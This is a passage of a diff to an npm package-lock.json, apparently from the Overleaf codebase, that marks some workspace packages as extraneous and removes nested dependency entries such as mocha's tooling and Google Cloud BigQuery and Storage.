+ "jobs/mirror-documentation": {
+ "name": "mirror_documentation",
+ "version": "1.0.0",
++ "extraneous": true,
+ "license": "ISC",
+ "dependencies": {
+ "bluebird": "^3.5.3",
+@@ -67,17 +68,6 @@
+ "tmp": "0.0.33"
+ }
+ },
+- "jobs/mirror-documentation/node_modules/tmp": {
+- "version": "0.0.33",
+- "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
+- "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
+- "dependencies": {
+- "os-tmpdir": "~1.0.2"
+- },
+- "engines": {
+- "node": ">=0.6.0"
+- }
+- },
+ "libraries/access-token-encryptor": {
+ "name": "@overleaf/access-token-encryptor",
+ "version": "2.2.0",
+@@ -285,6 +275,7 @@
+ },
+ "libraries/overleaf-editor-core": {
+ "version": "1.0.0",
++ "extraneous": true,
+ "license": "Proprietary",
+ "dependencies": {
+ "@overleaf/o-error": "^3.4.0",
+@@ -300,486 +291,6 @@
+ "typescript": "^4.5.5"
+ }
+ },
+- "libraries/overleaf-editor-core/node_modules/ansi-colors": {
+- "version": "3.2.3",
+- "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz",
+- "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==",
+- "dev": true,
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/ansi-regex": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+- "dev": true,
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dev": true,
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/camelcase": {
+- "version": "5.3.1",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+- "dev": true,
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/chai": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/chai/-/chai-3.5.0.tgz",
+- "integrity": "sha1-TQJjewZ/6Vi9v906QOxW/vc3Mkc=",
+- "dev": true,
+- "dependencies": {
+- "assertion-error": "^1.0.1",
+- "deep-eql": "^0.1.3",
+- "type-detect": "^1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.4.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/cliui": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+- "dev": true,
+- "dependencies": {
+- "string-width": "^3.1.0",
+- "strip-ansi": "^5.2.0",
+- "wrap-ansi": "^5.1.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/debug": {
+- "version": "3.2.6",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
+- "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)",
+- "dev": true,
+- "dependencies": {
+- "ms": "^2.1.1"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/deep-eql": {
+- "version": "0.1.3",
+- "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-0.1.3.tgz",
+- "integrity": "sha1-71WKyrjeJSBs1xOQbXTlaTDrafI=",
+- "dev": true,
+- "dependencies": {
+- "type-detect": "0.1.1"
+- },
+- "engines": {
+- "node": "*"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/deep-eql/node_modules/type-detect": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-0.1.1.tgz",
+- "integrity": "sha1-C6XsKohWQORw6k6FBZcZANrFiCI=",
+- "dev": true,
+- "engines": {
+- "node": "*"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/diff": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+- "dev": true,
+- "engines": {
+- "node": ">=0.3.1"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/emoji-regex": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+- "dev": true
+- },
+- "libraries/overleaf-editor-core/node_modules/escape-string-regexp": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+- "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
+- "dev": true,
+- "engines": {
+- "node": ">=0.8.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/find-up": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+- "dev": true,
+- "dependencies": {
+- "locate-path": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/flat": {
+- "version": "4.1.1",
+- "resolved": "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz",
+- "integrity": "sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA==",
+- "dev": true,
+- "dependencies": {
+- "is-buffer": "~2.0.3"
+- },
+- "bin": {
+- "flat": "cli.js"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/glob": {
+- "version": "7.1.3",
+- "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz",
+- "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==",
+- "dev": true,
+- "dependencies": {
+- "fs.realpath": "^1.0.0",
+- "inflight": "^1.0.4",
+- "inherits": "2",
+- "minimatch": "^3.0.4",
+- "once": "^1.3.0",
+- "path-is-absolute": "^1.0.0"
+- },
+- "engines": {
+- "node": "*"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/has-flag": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/is-buffer": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+- "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
+- "dev": true,
+- "funding": [
+- {
+- "type": "github",
+- "url": "https://github.com/sponsors/feross"
+- },
+- {
+- "type": "patreon",
+- "url": "https://www.patreon.com/feross"
+- },
+- {
+- "type": "consulting",
+- "url": "https://feross.org/support"
+- }
+- ],
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/is-fullwidth-code-point": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
+- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/js-yaml": {
+- "version": "3.13.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
+- "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
+- "dev": true,
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/locate-path": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+- "dev": true,
+- "dependencies": {
+- "p-locate": "^3.0.0",
+- "path-exists": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/log-symbols": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
+- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
+- "dev": true,
+- "dependencies": {
+- "chalk": "^2.0.1"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
+- "dev": true
+- },
+- "libraries/overleaf-editor-core/node_modules/mkdirp": {
+- "version": "0.5.4",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.4.tgz",
+- "integrity": "sha512-iG9AK/dJLtJ0XNgTuDbSyNS3zECqDlAhnQW4CsNxBG3LQJBbHmRX1egw39DmtOdCAqY+dKXV+sgPgilNWUKMVw==",
+- "deprecated": "Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)",
+- "dev": true,
+- "dependencies": {
+- "minimist": "^1.2.5"
+- },
+- "bin": {
+- "mkdirp": "bin/cmd.js"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/mocha": {
+- "version": "6.2.3",
+- "resolved": "https://registry.npmjs.org/mocha/-/mocha-6.2.3.tgz",
+- "integrity": "sha512-0R/3FvjIGH3eEuG17ccFPk117XL2rWxatr81a57D+r/x2uTYZRbdZ4oVidEUMh2W2TJDa7MdAb12Lm2/qrKajg==",
+- "dev": true,
+- "dependencies": {
+- "ansi-colors": "3.2.3",
+- "browser-stdout": "1.3.1",
+- "debug": "3.2.6",
+- "diff": "3.5.0",
+- "escape-string-regexp": "1.0.5",
+- "find-up": "3.0.0",
+- "glob": "7.1.3",
+- "growl": "1.10.5",
+- "he": "1.2.0",
+- "js-yaml": "3.13.1",
+- "log-symbols": "2.2.0",
+- "minimatch": "3.0.4",
+- "mkdirp": "0.5.4",
+- "ms": "2.1.1",
+- "node-environment-flags": "1.0.5",
+- "object.assign": "4.1.0",
+- "strip-json-comments": "2.0.1",
+- "supports-color": "6.0.0",
+- "which": "1.3.1",
+- "wide-align": "1.1.3",
+- "yargs": "13.3.2",
+- "yargs-parser": "13.1.2",
+- "yargs-unparser": "1.6.0"
+- },
+- "bin": {
+- "_mocha": "bin/_mocha",
+- "mocha": "bin/mocha"
+- },
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+- "dev": true
+- },
+- "libraries/overleaf-editor-core/node_modules/object.assign": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz",
+- "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
+- "dev": true,
+- "dependencies": {
+- "define-properties": "^1.1.2",
+- "function-bind": "^1.1.1",
+- "has-symbols": "^1.0.0",
+- "object-keys": "^1.0.11"
+- },
+- "engines": {
+- "node": ">= 0.4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dev": true,
+- "dependencies": {
+- "p-try": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- },
+- "funding": {
+- "url": "https://github.com/sponsors/sindresorhus"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/p-locate": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+- "dev": true,
+- "dependencies": {
+- "p-limit": "^2.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/path-exists": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+- "dev": true,
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/string-width": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+- "dev": true,
+- "dependencies": {
+- "emoji-regex": "^7.0.1",
+- "is-fullwidth-code-point": "^2.0.0",
+- "strip-ansi": "^5.1.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/strip-ansi": {
+- "version": "5.2.0",
+- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+- "dev": true,
+- "dependencies": {
+- "ansi-regex": "^4.1.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/strip-json-comments": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
+- "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=",
+- "dev": true,
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/supports-color": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz",
+- "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==",
+- "dev": true,
+- "dependencies": {
+- "has-flag": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/type-detect": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-1.0.0.tgz",
+- "integrity": "sha1-diIXzAbbJY7EiQihKY6LlRIejqI=",
+- "dev": true,
+- "engines": {
+- "node": "*"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "dev": true,
+- "dependencies": {
+- "isexe": "^2.0.0"
+- },
+- "bin": {
+- "which": "bin/which"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/wrap-ansi": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+- "dev": true,
+- "dependencies": {
+- "ansi-styles": "^3.2.0",
+- "string-width": "^3.0.0",
+- "strip-ansi": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/y18n": {
+- "version": "4.0.3",
+- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
+- "dev": true
+- },
+- "libraries/overleaf-editor-core/node_modules/yargs": {
+- "version": "13.3.2",
+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
+- "dev": true,
+- "dependencies": {
+- "cliui": "^5.0.0",
+- "find-up": "^3.0.0",
+- "get-caller-file": "^2.0.1",
+- "require-directory": "^2.1.1",
+- "require-main-filename": "^2.0.0",
+- "set-blocking": "^2.0.0",
+- "string-width": "^3.0.0",
+- "which-module": "^2.0.0",
+- "y18n": "^4.0.0",
+- "yargs-parser": "^13.1.2"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/yargs-parser": {
+- "version": "13.1.2",
+- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
+- "dev": true,
+- "dependencies": {
+- "camelcase": "^5.0.0",
+- "decamelize": "^1.2.0"
+- }
+- },
+- "libraries/overleaf-editor-core/node_modules/yargs-unparser": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz",
+- "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==",
+- "dev": true,
+- "dependencies": {
+- "flat": "^4.1.0",
+- "lodash": "^4.17.15",
+- "yargs": "^13.3.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "libraries/overleaf-error-type": {
+ "version": "1.0.0",
+ "extraneous": true,
+@@ -945,15 +456,8 @@
+ "node_modules/@auth0/thumbprint": {
+ "version": "0.0.6",
+ "resolved": "https://registry.npmjs.org/@auth0/thumbprint/-/thumbprint-0.0.6.tgz",
+- "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg="
+- },
+- "node_modules/@auth0/xmldom": {
+- "version": "0.1.21",
+- "resolved": "https://registry.npmjs.org/@auth0/xmldom/-/xmldom-0.1.21.tgz",
+- "integrity": "sha512-//QqjkvBknF7j0Nf205o5wgUMnq8ioHHxEr61OZQ3J0RXGFvs2rb5GLZ8jdNxMqYz4n/PEsbFIQL5RHBixxq5g==",
+- "engines": {
+- "node": ">=0.1"
+- }
++ "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=",
++ "dev": true
+ },
+ "node_modules/@babel/cli": {
+ "version": "7.16.8",
+@@ -2988,46 +2492,6 @@
+ "node": "*"
+ }
+ },
+- "node_modules/@google-cloud/bigquery": {
+- "version": "5.10.0",
+- "resolved": "https://registry.npmjs.org/@google-cloud/bigquery/-/bigquery-5.10.0.tgz",
+- "integrity": "sha512-kHwPT3O5pihjlhZ4wpNElovv/RY2hyz5MdgON1UlwFM9bVA8kXqdUWS09owjVhHKaHqBxliUpG0DAwjrKHqY7Q==",
+- "dependencies": {
+- "@google-cloud/common": "^3.1.0",
+- "@google-cloud/paginator": "^3.0.0",
+- "@google-cloud/promisify": "^2.0.0",
+- "arrify": "^2.0.1",
+- "big.js": "^6.0.0",
+- "duplexify": "^4.0.0",
+- "extend": "^3.0.2",
+- "is": "^3.3.0",
+- "p-event": "^4.1.0",
+- "stream-events": "^1.0.5",
+- "uuid": "^8.0.0"
+- },
+- "engines": {
+- "node": ">=10"
+- }
+- },
+- "node_modules/@google-cloud/bigquery/node_modules/duplexify": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz",
+- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==",
+- "dependencies": {
+- "end-of-stream": "^1.4.1",
+- "inherits": "^2.0.3",
+- "readable-stream": "^3.1.1",
+- "stream-shift": "^1.0.0"
+- }
+- },
+- "node_modules/@google-cloud/bigquery/node_modules/uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+- "bin": {
+- "uuid": "dist/bin/uuid"
+- }
+- },
+ "node_modules/@google-cloud/common": {
+ "version": "3.9.0",
+ "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-3.9.0.tgz",
+@@ -3291,287 +2755,6 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/@google-cloud/storage": {
+- "version": "4.7.2",
+- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-4.7.2.tgz",
+- "integrity": "sha512-nlXYhJyC6ErFQX34tMLruknJ9fljN3JepgXEC9MZlQ64/2h9Ee8MJ7FCowdBnTiZ863IkbvctWtNZRrSxfyqSQ==",
+- "dependencies": {
+- "@google-cloud/common": "^2.1.1",
+- "@google-cloud/paginator": "^2.0.0",
+- "@google-cloud/promisify": "^1.0.0",
+- "arrify": "^2.0.0",
+- "compressible": "^2.0.12",
+- "concat-stream": "^2.0.0",
+- "date-and-time": "^0.14.2",
+- "duplexify": "^3.5.0",
+- "extend": "^3.0.2",
+- "gaxios": "^3.0.0",
+- "gcs-resumable-upload": "^2.2.4",
+- "hash-stream-validation": "^0.2.2",
+- "mime": "^2.2.0",
+- "mime-types": "^2.0.8",
+- "onetime": "^5.1.0",
+- "p-limit": "^2.2.0",
+- "pumpify": "^2.0.0",
+- "readable-stream": "^3.4.0",
+- "snakeize": "^0.1.0",
+- "stream-events": "^1.0.1",
+- "through2": "^3.0.0",
+- "xdg-basedir": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/@google-cloud/common": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-2.4.0.tgz",
+- "integrity": "sha512-zWFjBS35eI9leAHhjfeOYlK5Plcuj/77EzstnrJIZbKgF/nkqjcQuGiMCpzCwOfPyUbz8ZaEOYgbHa759AKbjg==",
+- "dependencies": {
+- "@google-cloud/projectify": "^1.0.0",
+- "@google-cloud/promisify": "^1.0.0",
+- "arrify": "^2.0.0",
+- "duplexify": "^3.6.0",
+- "ent": "^2.2.0",
+- "extend": "^3.0.2",
+- "google-auth-library": "^5.5.0",
+- "retry-request": "^4.0.0",
+- "teeny-request": "^6.0.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/@google-cloud/paginator": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-2.0.3.tgz",
+- "integrity": "sha512-kp/pkb2p/p0d8/SKUu4mOq8+HGwF8NPzHWkj+VKrIPQPyMRw8deZtrO/OcSiy9C/7bpfU5Txah5ltUNfPkgEXg==",
+- "dependencies": {
+- "arrify": "^2.0.0",
+- "extend": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/@google-cloud/projectify": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-1.0.4.tgz",
+- "integrity": "sha512-ZdzQUN02eRsmTKfBj9FDL0KNDIFNjBn/d6tHQmA/+FImH5DO6ZV8E7FzxMgAUiVAUq41RFAkb25p1oHOZ8psfg==",
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/@google-cloud/promisify": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-1.0.4.tgz",
+- "integrity": "sha512-VccZDcOql77obTnFh0TbNED/6ZbbmHDf8UMNnzO1d5g9V0Htfm4k5cllY8P1tJsRKC3zWYGRLaViiupcgVjBoQ==",
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/date-and-time": {
+- "version": "0.14.2",
+- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz",
+- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA=="
+- },
+- "node_modules/@google-cloud/storage/node_modules/gcp-metadata": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-3.5.0.tgz",
+- "integrity": "sha512-ZQf+DLZ5aKcRpLzYUyBS3yo3N0JSa82lNDO8rj3nMSlovLcz2riKFBsYgDzeXcv75oo5eqB2lx+B14UvPoCRnA==",
+- "dependencies": {
+- "gaxios": "^2.1.0",
+- "json-bigint": "^0.3.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/gcp-metadata/node_modules/gaxios": {
+- "version": "2.3.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz",
+- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^5.0.0",
+- "is-stream": "^2.0.0",
+- "node-fetch": "^2.3.0"
+- },
+- "engines": {
+- "node": ">=8.10.0"
+- }
+- },
+- "node_modules/@google-cloud/storage/node_modules/gcs-resumable-upload": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gcs-resumable-upload/-/gcs-resumable-upload-2.3.3.tgz",
+- "integrity": "sha512-sf896I5CC/1AxeaGfSFg3vKMjUq/r+A3bscmVzZm10CElyRanN0XwPu/MxeIO4LSP+9uF6yKzXvNsaTsMXUG6Q==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "configstore": "^5.0.0",
+- "gaxios": "^2.0.0",
